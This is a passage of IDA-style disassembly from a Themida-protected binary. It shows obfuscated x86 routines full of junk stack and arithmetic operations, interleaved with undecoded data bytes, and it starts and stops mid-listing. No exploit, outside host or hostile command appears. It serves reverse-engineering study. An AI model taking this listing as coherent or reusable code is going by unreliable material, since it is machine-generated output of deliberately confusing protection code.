		dd 5D673053h, 0BD55515Ah, 2, 0E9E88950h, 65D4h,	6080E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EF2A:				; CODE XREF: Themida_:0055987Ej
		neg	dword ptr [esp]
		jmp	loc_564C12
; ---------------------------------------------------------------------------

loc_55EF32:				; CODE XREF: Themida_:0055055Cj
		and	eax, ebp
		jmp	loc_5589E0
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0A0h
		dd 52453504h, 0BF57E289h, 251E6B39h, 0FF75F3E9h, 0F5ED81FFh
		dd 2933F927h, 0F5C581F5h, 5E33F927h, 0FE9E801h,	5FFFFA2h
		dd 91D6FB8h, 67738605h,	4B7CE945h, 0B850FFFFh, 48403AB6h
		dd 2283E9h, 24048100h, 4, 83240C8Bh, 0F3E904C4h, 81FFFF57h
		dd 0C0674FC1h, 4E9C10Ah, 0BFE98149h, 103EB79h, 0D094E9CAh
		dd 0FA29FFFFh, 2434FF5Fh, 4C4835Bh, 0BF57C201h,	5CE156F6h
		dd 0E95F5557h, 3221h, 4C681h, 0C6810000h, 4, 31243433h
		dd 0E8E92434h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EFD7:				; CODE XREF: Themida_:0055F115j
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_552BE2
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2, 34FF5F51h, 0E9565924h, 1B54h, 2564F281h, 0D5015977h
		dd 5124148Bh, 3F7068h, 24248900h, 4240483h, 4C18159h, 81000000h
		dd 4C1h, 240C8700h, 5124248Bh, 0FF310EE9h, 946852FFh, 5A728E62h
		dd 42ABBF57h, 0D7F74BE1h, 496C781h, 0F7810A2Fh,	5EE66A66h
		dd 0B704C781h, 0FA2991E2h, 0E9D0895Fh, 0FFFF3372h, 0E95FF831h
		dd 4CF7h, 0E9243C89h, 0FFFF92E7h
; ---------------------------------------------------------------------------

loc_55F068:				; CODE XREF: Themida_:00554142j
		shl	eax, 8
		push	2B57h
		mov	[esp], ecx
		mov	ecx, 8B042B1h
		or	ecx, 56283F99h
		add	ecx, 1072D83Bh
		and	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 13C64C7Fh
		jmp	loc_55DD89
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 0BA47AB8Fh, 0E95FF801h, 0FFFFE86Eh, 8005E5C0h, 0E82824EDh
		dd 764E9h, 240C8B00h, 4C481h, 48F0000h,	24248B24h, 0B60F66h
		dd 56376866h, 24048966h, 0FF0FCAE9h
		db 0FFh
byte_55F0CD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FE70o
		dd 0D2E95324h, 89FFFF7Eh, 4C781E7h, 83000000h, 3C8704C7h
		dd 48F5C24h, 9145E924h,	0D168FFFFh, 89000013h, 1768241Ch
		dd 8900003Bh, 0D1E9243Ch, 5DFFFFBCh, 0A0E9C331h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F10B:				; CODE XREF: Themida_:005580C9j
		mov	[esp], esi
		mov	esi, 21E65A60h
		mov	ebp, esi
		jmp	loc_55EFD7
; ---------------------------------------------------------------------------
word_55F11A	dw 8B66h		; DATA XREF: Themida_:0054FF24o
		dd 3B682404h, 89000056h, 58542404h, 405h, 68535600h, 11766F9Fh
		dd 0FB9685Bh, 3C890000h, 5F7BBF24h, 0F7814556h,	54D30AADh
		dd 0DFF7DFF7h, 0ECE6EF81h, 814F94C5h, 0C30362C7h, 0A9EB819Ch
		dd 817AA25Fh, 2F7B42C3h, 0E9FB291Eh, 0FFFFC23Bh, 8324048Bh
		dd 0BE5604C4h, 73D36EA2h, 6DB95152h, 0C112D948h, 0C18106E9h
		dd 169B3B58h, 0F181D1F7h, 19852571h, 0FF5A56E9h, 243487FFh
		dd 0FF50E95Ch, 492DFFFFh, 21F68223h, 0C58158C5h, 9CBDECC2h
		dd 4E10C281h, 0EA013A94h, 3F16856h, 0FCE9584Bh,	5FFFFD0h
		dd 4, 405h, 24048700h, 0D6C3815Ch, 170B773h, 0D6EB81C3h
		dd 5570B773h, 4EC81h, 24890000h, 24048124h, 4, 4C5815Dh
		dd 68000000h, 2F66h, 0E9241489h, 0FFFFA39Fh
; ---------------------------------------------------------------------------

loc_55F200:				; CODE XREF: Themida_:00551D6Fj
		pop	edx
		push	19B4h
		mov	[esp], eax
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 695FB951h, 0CA01200Fh, 2434FF59h, 713DE959h,	0C309FFFFh
		dd 2EC38158h, 0D17D3920h, 0F7FB87E3h, 81FB87D7h, 0C36085CBh
		dd 5DC3815Fh, 1A02C1Fh,	4875BD8h, 24D25C24h, 48E99C24h
		dd 50FFFF0Eh, 0E150E5B8h, 212CE926h
		db 2 dup(0FFh)
word_55F25A	dw 2DADh		; DATA XREF: Themida_:0054FF60o
		dd 17430285h, 6AC1BE56h, 0C6E945D8h, 0C1000040h, 0B85005EFh
		dd 48852490h, 0FF839CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F279:				; CODE XREF: Themida_:00553FD1j
		add	esp, 4
		jmp	loc_562FD7
; ---------------------------------------------------------------------------
		db 0E9h, 11h, 0Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F286:				; CODE XREF: Themida_:00556E39j
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5538F6
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0B50E6168h,	24148B3Bh, 5104C483h, 0FA1127B9h
		dd 0D1F74140h, 0DBB8F181h, 0C181915Bh, 23391126h, 0C103E1C1h
		dd 0BB5303E9h, 258A6F0Fh, 4303E3C1h, 0FF52F2E9h, 24248BFFh
		dd 0FF6972E9h
		db 0FFh
byte_55F2DD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FF9Co
		dd 17685224h, 0E900003Ah, 0FFFF3089h
; ---------------------------------------------------------------------------

loc_55F2EC:				; CODE XREF: Themida_:005515FEj
		sub	eax, 2B5257C7h
		jmp	loc_55DEDC
; ---------------------------------------------------------------------------

loc_55F2F6:				; CODE XREF: Themida_:0055C9ADj
		add	eax, esi
		sub	eax, 721E1C39h
		pop	esi
		push	eax
		mov	eax, 4DEF3C9Dh
		jmp	loc_551C6E
; ---------------------------------------------------------------------------
		db 0BBh, 60h, 23h
		dd 0EB8174BAh, 459EDBBAh, 3BE9DF89h, 50FFFF58h,	4B8h, 24448100h
		dd 724B6D04h, 24440167h, 79D7E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F332:				; CODE XREF: Themida_:005641CEj
		push	eax
		mov	ah, 3Eh
		inc	ah
		xor	ah, 0D8h
		shl	ah, 3
		push	cx
		push	ebx
		mov	bl, 0E1h
		jmp	loc_562C0F
; ---------------------------------------------------------------------------

loc_55F347:				; CODE XREF: Themida_:0055E7E1j
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 6C2F4C2Dh
		sub	ebx, 3B402A61h
		shl	ebx, 4
		inc	ebx
		inc	ebx
		add	ebx, 0D2C5E347h
		push	ebp
		mov	ebp, ebx
		mov	edx, ebp
		jmp	loc_560D78
; ---------------------------------------------------------------------------
		dd 0B8240489h, 242F08F2h, 56E9C289h, 5BFFFF94h,	0FF8CECE9h
		dd 243C33FFh, 6624248Bh, 9C240401h, 1592E9h, 6FC38100h
		dd 8B6F6F6Eh, 17E9243Ch, 8B000000h, 0C483243Ch,	4C48104h
		dd 50000000h, 2B8h, 8EA6E900h, 8957FFFFh, 4C781E7h, 52000000h
		dd 4BAh, 41B7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F3CE:				; CODE XREF: Themida_:00563F09j
		mov	esi, 0A5337AFCh
		jmp	loc_55FB97
; ---------------------------------------------------------------------------
		dd 0EFA2E956h, 0CF29FFFFh, 81D7F759h, 0A25216C7h, 59E205E4h
		dd 0F8012239h, 3959E22Dh, 243C8B22h, 7F6E9h, 7E06B900h
		dd 0E9815661h, 0D741527Ah, 159C801h, 24048BC2h,	0E9E78957h
		dd 5299h, 4C85C181h, 0C829207Dh, 0D8015A59h, 6525322Dh
		dd 2379E90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F42E:				; CODE XREF: Themida_:0056094Fj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5586FF
; ---------------------------------------------------------------------------
		db 29h
		dd 1CE6E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F442:				; CODE XREF: Themida_:0055EBB5j
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_552582
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 516858C5h,	0E9000038h, 0FFFFC8A0h,	5C241487h
		dd 0C6FED6F6h, 28C3F680h, 3D9DE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F476:				; CODE XREF: Themida_:005627D3j
		shl	eax, 7
		add	eax, 78DA27C1h
		shl	eax, 1
		add	eax, 912BC182h
		jmp	loc_556965
; ---------------------------------------------------------------------------

loc_55F48A:				; CODE XREF: Themida_:00552C01j
		push	ebp
		push	4F7508DBh
		pop	ebp
		xor	ebp, 4F7508DFh
		mov	edi, ebp
		pop	ebp
		jmp	loc_5554AB
; ---------------------------------------------------------------------------

loc_55F49F:				; CODE XREF: Themida_:005622C5j
		xor	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55ED37
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFF1102h, 81E18951h, 4C1h,	4CE95500h, 89000038h, 405E0h
		dd 0C0830000h, 24048704h, 8BC7895Ch, 0C4832404h, 247C2904h
		dd 243C8B04h, 0FF1132E9h, 0B35352FFh, 0DD88510Ch, 88EF8853h
		dd 0E9595BFAh, 1479h, 8904EC83h, 68B7241Ch, 5166482Ch
		dd 7FFE9h, 18F68100h, 0E90EC26Bh, 0FFFF8FB3h
; ---------------------------------------------------------------------------

loc_55F518:				; CODE XREF: Themida_:00551B31j
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_5621EB
; ---------------------------------------------------------------------------

loc_55F551:				; CODE XREF: Themida_:00552E1Bj
		add	edx, 4
		jmp	loc_555DAE
; ---------------------------------------------------------------------------

loc_55F55C:				; CODE XREF: Themida_:00564E74j
		sub	ecx, 642C2C1Ah
		sub	ecx, 1446B57h
		jmp	loc_558ABA
; ---------------------------------------------------------------------------

loc_55F56D:				; CODE XREF: Themida_:0055B953j
		add	ecx, eax
		add	ecx, 2F450FCEh
		jmp	loc_55B2E6
; ---------------------------------------------------------------------------
aB9mqh5u	db 'ÇÍ9MQh5u',0
		dd 242C8900h, 1695E9h, 0FFF83100h, 0E6E92434h, 0C1FFFFBCh
		dd 0C18106E9h, 5DA7A8BEh, 8159CD21h, 6B7BB2C5h,	0F5814523h
		dd 5CFB3BA4h, 6480C581h, 1DE9F01Ah
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F5BB:				; CODE XREF: Themida_:00556997j
		push	ebx
		jmp	loc_5565D9
; ---------------------------------------------------------------------------
		db 0B1h, 81h, 80h
		dd 0F180B3F1h, 37C1808Bh, 8CE9CA28h, 81FFFF5Ch,	8A3C1AC3h
		dd 81D30163h, 8A3C1AEBh, 1080E963h, 1489FFFFh, 0B3D5BA24h
		dd 0D6316662h, 759685Ah, 5CE90000h, 89FFFF25h, 2DBD242Ch
		dd 0E927D614h, 0FFFFC9D0h, 4EC81h, 34890000h, 72DEE924h
		dd 4BFFFFFh, 1000000h, 0E904247Ch, 0FFFFEFDDh, 36668h
		dd 24148900h, 2BAh, 1C58100h, 0E90A6639h, 0FFFF2DE9h, 0C8BC830h
		dd 4EC8324h, 54241C89h,	24A5685Bh, 3DE90000h, 1FFFF51h
		dd 0F20E9C5h, 792D0000h, 52A9313h, 4B507AF0h, 0FF14CDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F669:				; CODE XREF: Themida_:0055C0B7j
		sub	ecx, 0B820B27h
		mov	eax, [esp]
		jmp	loc_555E44
; ---------------------------------------------------------------------------
		db 89h
		dd 41E92434h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F67F:				; CODE XREF: Themida_:00553EB2j
		push	ebx
		mov	ebx, 66D51934h
		add	ecx, 51B603A5h
		sub	ecx, ebx
		sub	ecx, 51B603A5h
		pop	ebx
		mov	ebx, ecx
		pop	ecx
		add	ebx, 79A12753h
		add	ebx, edi
		sub	ebx, 79A12753h
		push	edx
		push	eax
		push	450934BBh
		pop	eax
		xor	eax, 314D42B5h
		not	eax
		inc	eax
		push	ecx
		jmp	loc_558146
; ---------------------------------------------------------------------------

loc_55F6BB:				; CODE XREF: Themida_:005655C8j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	34EBh
		mov	[esp], ebx
		push	esi
		mov	esi, 21E65A60h
		xor	[esp+4], esi
		jmp	loc_551F48
; ---------------------------------------------------------------------------

loc_55F6DC:				; CODE XREF: Themida_:00550420j
		xor	edi, 2004h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_551C1A
; ---------------------------------------------------------------------------
byte_55F6F1	db 66h,	0FFh, 32h	; DATA XREF: Themida_:0054FE04o
		dd 0FF099EE9h, 24248BFFh, 0FF2F82E9h, 4C481FFh,	29000000h
		dd 1564E9C3h, 0E95FFFFFh, 0FFFFA6DFh, 6604C483h, 63CFEB81h
		dd 6EEB8166h, 0C3296629h, 0C2BF6657h, 0DFF7665Fh, 94EF8166h
		dd 0F7816607h, 50667F7Fh, 0CEBBB866h, 66C73166h, 0FB016658h
		dd 0E957665Fh, 0FFFFD4AEh, 24048B66h, 32F168h, 242C8900h
		dd 0FF8F69E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F75D:				; CODE XREF: Themida_:0055291Dj
		pop	esp
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_557FC2
; ---------------------------------------------------------------------------
		dw 0E831h
		dd 117AE9h, 2EBC100h, 77F3814Bh, 813E0B1Bh, 8D68A9C5h
		dd 4CC5817Bh, 11BAE22h,	4CED81DDh, 811BAE22h, 8D68A9EDh
		dd 241C8B7Bh, 8704C483h, 0E2E9242Ch, 0C0FFFF95h, 0E4C003ECh
		dd 0FFEC8002h, 513CB353h, 38ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F7B5:				; CODE XREF: Themida_:00552285j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_562248
; ---------------------------------------------------------------------------
		dd 2414F756h, 0FFBECBE9h, 0DEE958FFh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F7D7:				; CODE XREF: Themida_:0055C937j
		pop	ebx
		push	ebp
		push	ecx
		mov	ecx, 36CD36E1h
		add	ecx, 222910B5h
		add	ecx, 1F53CE4h
		neg	ecx
		dec	ecx
		push	eax
		mov	eax, 0E7D60C8Dh
		xor	ecx, eax
		pop	eax
		mov	ebp, ecx
		jmp	loc_556296
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 62E57C5Ah, 7EE9D9F7h, 56FFFF12h, 0FF35AAE9h,	3B6859FFh
		dd 89000042h, 1DB22414h, 60EA80h, 0C5045AD0h, 0FFA696E9h
		dd 0BB5359FFh, 4, 4B32B850h, 0C12938C7h, 81D90158h, 0C74B32C1h
		dd 0E9565B38h, 0FFFF6D07h, 4C781h, 0DCE90000h, 0FFFFFF25h
		dd 815F2434h, 4C4h, 61526800h, 3C890000h, 80E95124h, 0FFFFFFF7h
		dd 0FF042474h, 835F2434h, 0FE904C4h, 83FFFF7Ch,	40E904C1h
		db 9Fh,	2 dup(0FFh)
byte_55F883	db 0FFh			; DATA XREF: Themida_:0054FEF4o
		dd 48B2434h, 0D321E924h, 0AE05FFFFh, 1E0BADDh, 0DE0158C6h
		dd 176DEE81h, 0FE9298Dh, 0B9FFFFA1h, 29B6468Dh,	0FFD17FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F8AD:				; CODE XREF: Themida_:0055565Fj
		add	eax, 29CA5ED5h
		add	eax, ecx
		jmp	loc_55926C
; ---------------------------------------------------------------------------

loc_55F8B9:				; CODE XREF: Themida_:00552514j
		mov	[esp], ebx
		push	ebx
		mov	ebx, 7FED408Ah
		sub	[esp+4], ebx
		pop	ebx
		jmp	loc_56130A
; ---------------------------------------------------------------------------
		dd 0BD55F001h, 6D0729E6h, 6B0DB850h, 0C0831616h, 7344E9FFh
		dd 3C89FFFFh, 4BF24h, 6C810000h, 58370424h, 0B8506606h
		dd 3D2C52C1h, 8244401h,	24448158h, 790AC404h, 247C0100h
		dd 246C8104h, 790AC404h, 246C8100h, 2C52C104h, 238CE93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F91E:				; CODE XREF: Themida_:00562100j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_560F7D
; ---------------------------------------------------------------------------
		dd 44E9D131h, 0C0FFFF2Bh, 0E98005E1h, 98F180F8h, 2CF180h
		dd 2254E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F94E:				; CODE XREF: Themida_:0055CF90j
		pop	ebx
		jmp	loc_55FD4C
; ---------------------------------------------------------------------------
		dd 4C48158h, 33000000h,	3C31243Ch, 0FA1FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F966:				; CODE XREF: Themida_:0055159Bj
		add	edx, 0FFFFFFFFh
		push	eax
		jmp	loc_55B33F
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD694AE3h, 0C3814350h, 21245A4Eh, 0FFD14CE9h, 243C89FFh
		dd 4BFh, 247C0100h, 3130E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F992:				; CODE XREF: Themida_:005607B6j
		pop	esi
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		jmp	loc_564523
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4EC8324h, 0E9242489h, 0FFFF6E1Ah, 33243431h,	248B2434h
		dd 8E8C124h, 6892C831h,	7BCAh, 81241489h, 4ECh,	24348900h
		dd 6993E95Ah, 4CBEFFFFh, 0E9683951h, 0FFFF906Ch
; ---------------------------------------------------------------------------

loc_55F9E4:				; CODE XREF: Themida_:00555C1Bj
		add	ebx, 79C7789Eh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	7524h
		mov	[esp], edi
		push	ebx
		mov	ebx, 614C60EFh
		jmp	loc_5606BF
; ---------------------------------------------------------------------------

loc_55FA13:				; CODE XREF: Themida_:0055E5A0j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5520E1
; ---------------------------------------------------------------------------
		db 59h
		dd 5558C529h, 42474FFh,	4A01E95Dh, 0C781FFFFh, 4, 8B243C87h
		dd 0EC812424h, 4, 0FF9EAFE9h, 0C38359FFh, 241C8704h, 0FF6471E9h
		dd 24348BFFh, 0E9E38953h, 0FFFFC4F0h, 81F30159h, 0E53B87C3h
		dd 0C3835E7Fh, 241C8702h, 0FF981CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FA6D:				; CODE XREF: Themida_:0055806Cj
		dec	ebp
		jmp	loc_55A3EB
; ---------------------------------------------------------------------------
aIHE		db '\‰$$h{E',0
		align 4
		dd 0BD242C89h, 4, 4246C01h, 2434FF5Dh, 55242C8Bh, 4C93E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FA95:				; CODE XREF: Themida_:00564A9Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edx, [esp]
		jmp	loc_55964C
; ---------------------------------------------------------------------------
		dd 4BB53h, 0C7810000h, 6B5359E4h, 0FFD157E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FAC1:				; CODE XREF: Themida_:0055D4C7j
		shl	ebp, 8
		shr	ebp, 7
		push	eax
		mov	eax, 0B451573Ch
		xor	ebp, eax
		pop	eax
		add	edi, 176D2A15h
		sub	edi, ebp
		jmp	loc_55DF02
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0E9h
		dd 0FFFFC00Ch, 8124248Bh, 4C1h,	47836800h, 14890000h, 46824h
		dd 815A0000h, 0EA5724E9h, 81D1296Bh, 0EA5724C1h, 5BA5E96Bh
		dd 0F321FFFFh, 47F3815Eh, 5027A31Fh, 0BEBFA0B8h, 58C32934h
		dd 3B76E9h, 99C68100h, 1D84081h, 18E95EF5h
		db 7Dh,	2 dup(0FFh)
byte_55FB33	db 0FFh			; DATA XREF: Themida_:0054FEB0o
		dd 48B2434h, 9E66824h, 4890000h, 7B826824h, 24890000h
		dd 24048324h, 24048B04h, 535D5455h, 0FFA821E9h,	0A1EA81FFh
		dd 31503718h, 0C35BE9D5h, 5452FFFFh, 64E9h, 24348B00h
		dd 5304C483h, 4BBh, 5BDE0100h, 4C681h, 0F3E90000h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FB87:				; CODE XREF: Themida_:00553779j
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		mov	edx, [esp]
		push	ebx
		jmp	loc_5655C0
; ---------------------------------------------------------------------------

loc_55FB97:				; CODE XREF: Themida_:0055F3D3j
		sub	esi, ecx
		pop	ecx
		add	esi, 61643BDFh
		neg	esi
		sub	esi, 3CDF308Ah
		add	esi, 62BBCA76h
		and	ebp, esi
		jmp	loc_55CD6F
; ---------------------------------------------------------------------------

loc_55FBB5:				; CODE XREF: Themida_:00558730j
		not	edi
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	58A5h
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55E5D9
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C2h
		dd 4, 22E3E957h, 0E989FFFFh, 50242C8Bh,	24048B54h, 4C481h
		dd 0B8E90000h, 83FFFF7Fh, 0BA5204C4h, 4, 301FE9h, 0FFFF2D00h
		dd 4E9FFFFh, 0D00001Bh,	674C79C4h, 0FFA43FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FC15:				; CODE XREF: Themida_:005533DEj
		shl	edx, 4
		shr	edx, 7
		add	edx, 0FFFBB7FAh
		add	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_550D3F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF485DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FC45:				; CODE XREF: Themida_:00553E5Cj
		xor	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 5DF34FBBh
		jmp	loc_5599A1
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 8BD0284Dh, 0C4832414h, 0E9E82804h, 0FFFFEAE2h, 0FF0426E9h
		dd 7E95BFFh, 57FFFF3Bh,	0D1A6CBFh, 8BFE01F5h, 0C483243Ch
		dd 5EF10104h, 8124348Bh, 4C4h, 4132E900h, 685F0000h, 5BE9h
		dd 51240489h, 668C6855h, 0B5E946CFh, 2900004Ah,	29585FFAh
		dd 24148BD0h, 6804C483h, 4C63h,	0FFD672E9h, 24048FFFh
		dd 1EB8E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FCCA:				; CODE XREF: Themida_:00550F13j
		dec	edx
		not	edx
		shr	edx, 4
		jmp	loc_550F8F
; ---------------------------------------------------------------------------
		db 0E9h, 0BDh, 3
		dd 2C89FFFFh, 4BD24h, 0EB010000h, 81242C8Bh, 4C4h, 0B369E900h
		dd 315CFFFFh, 30FF66C3h, 0FF039AE9h, 895258FFh,	4C281E2h
		dd 0E9000000h, 0FFFF65C6h, 0F7E93BB1h, 57FFFFDFh, 0F889CF89h
		dd 0FF08B4E9h, 4C381FFh, 81000000h, 4C3h, 241C3300h, 4978E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FD31:				; CODE XREF: Themida_:00554111j
		mov	edx, 7ED28EA1h
		add	edx, 0F5102CBh
		sub	edx, ebx
		jmp	loc_553E94
; ---------------------------------------------------------------------------
		db 0FFh
a4XsC		db '4$Xé"C',0
		align 4

loc_55FD4C:				; CODE XREF: Themida_:0055F94Fj
		dec	edi
		or	edi, 4C7D2F8Fh
		jmp	loc_558460
; ---------------------------------------------------------------------------
		dd 0FF5EF329h, 815F2434h, 4C4h,	979FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FD6A:				; CODE XREF: Themida_:0055D6A7j
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_550097
; ---------------------------------------------------------------------------
aHm		db '[h¬%',0
		dw 8900h
		dd 74FF2434h, 32E90424h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FD8F:				; CODE XREF: Themida_:00550D3Aj
		push	1324h
		mov	[esp], ebx
		mov	ebx, 4DEF3C9Dh
		push	4448h
		mov	[esp], ecx
		jmp	loc_551946
; ---------------------------------------------------------------------------

loc_55FDA9:				; CODE XREF: Themida_:005564DCj
		push	231Bh
		mov	[esp], edi
		mov	edi, esi
		push	edi
		add	dword ptr [esp], 6DC81716h
		pop	edx
		sub	edx, 6DC81716h
		jmp	loc_5607B5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 87000000h, 0C15C240Ch, 0A12D06E0h, 89FC7FE5h
		dd 0D10158C2h, 895BE95Ah, 0C681FFFFh, 3D673457h, 0EE81EE01h
		dd 3D673457h, 6B8EE81h,	0BA527359h, 69E93249h, 86E9D629h
		dd 83FFFF06h, 0C8704C1h, 24248B24h, 51C8AF0Fh, 279E99Ch
		db 2 dup(0FFh)
word_55FE1E	dw 30ACh		; DATA XREF: Themida_:0054FEFCo
		dd 0BB551D8h, 0FF9811E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FE29:				; CODE XREF: Themida_:0055DE04j
		or	eax, eax
		jz	loc_55C7A9
		push	eax
		mov	eax, 1Ch
		jmp	loc_5560F0
; ---------------------------------------------------------------------------
		dd 0CF09F581h, 0EF898510h, 5FF9295Dh, 0C8BC889h, 4C48324h
		dd 0FF1C4721h, 50582434h, 405E089h, 0E9000000h,	0FFFF8B90h
		dd 8B241C87h, 0FAE92424h, 0FFFFFFADh, 0FF042474h, 50592434h
		dd 4055854h, 56000000h,	4BEh, 5EF00100h, 0E9240487h, 0FFFF9880h
		dd 8B2434FFh, 768240Ch,	8900001Ah, 58542404h, 0FF6423E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FEA5:				; CODE XREF: Themida_:005578F8j
		add	[esp+4], esi
		add	dword ptr [esp+4], 712E617Bh
		sub	dword ptr [esp+4], 162B0189h
		jmp	loc_55DC4F
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 83242489h, 8B042404h, 0C4832434h,	3461E904h, 895C0000h
		dd 3CB42404h, 8008B753h, 0F78083CFh, 59C480EEh,	0EC80FC00h
		dd 0C4805B59h, 58E730F6h, 0FF5AE8E9h, 3AC780FFh, 0E9CDEF80h
		dd 0FFFFDBE5h
; ---------------------------------------------------------------------------

loc_55FF04:				; CODE XREF: Themida_:005602CEj
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dw 5559h
		dd 0FF9EACE9h, 62B050FFh, 0D304D0F6h, 0FF1725E9h, 59CF31FFh
		dd 62D9F781h, 22D7AC6h,	16FF86Eh, 60A7E9F8h, 0E689FFFFh
		dd 0FF5AAEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FF41:				; CODE XREF: Themida_:00563E3Aj
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		jmp	loc_555763
; ---------------------------------------------------------------------------
		dd 65E8E95Dh, 0EC81FFFFh, 4, 0B9240C89h, 173A4BB6h, 19B5C981h
		dd 40E94745h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FF6B:				; CODE XREF: Themida_:00557753j
		and	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 418A7781h
		shr	ecx, 7
		jmp	loc_556DD5
; ---------------------------------------------------------------------------
		dw 0B105h
		dd 104B91Fh, 1FB12DF0h,	348B04B9h, 4C48124h, 0E9000000h
		dd 0FFFFE187h, 5FBE5655h, 0E931CE0Fh, 0FFFF542Eh, 0EC80D4F6h
		dd 58E30049h, 806BCB80h, 0DBF6A4C3h, 886EC380h,	0CE205BD9h
		dd 240C8B66h, 2412E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FFCE:				; CODE XREF: Themida_:00552615j
		mov	[esp], edx
		push	800h
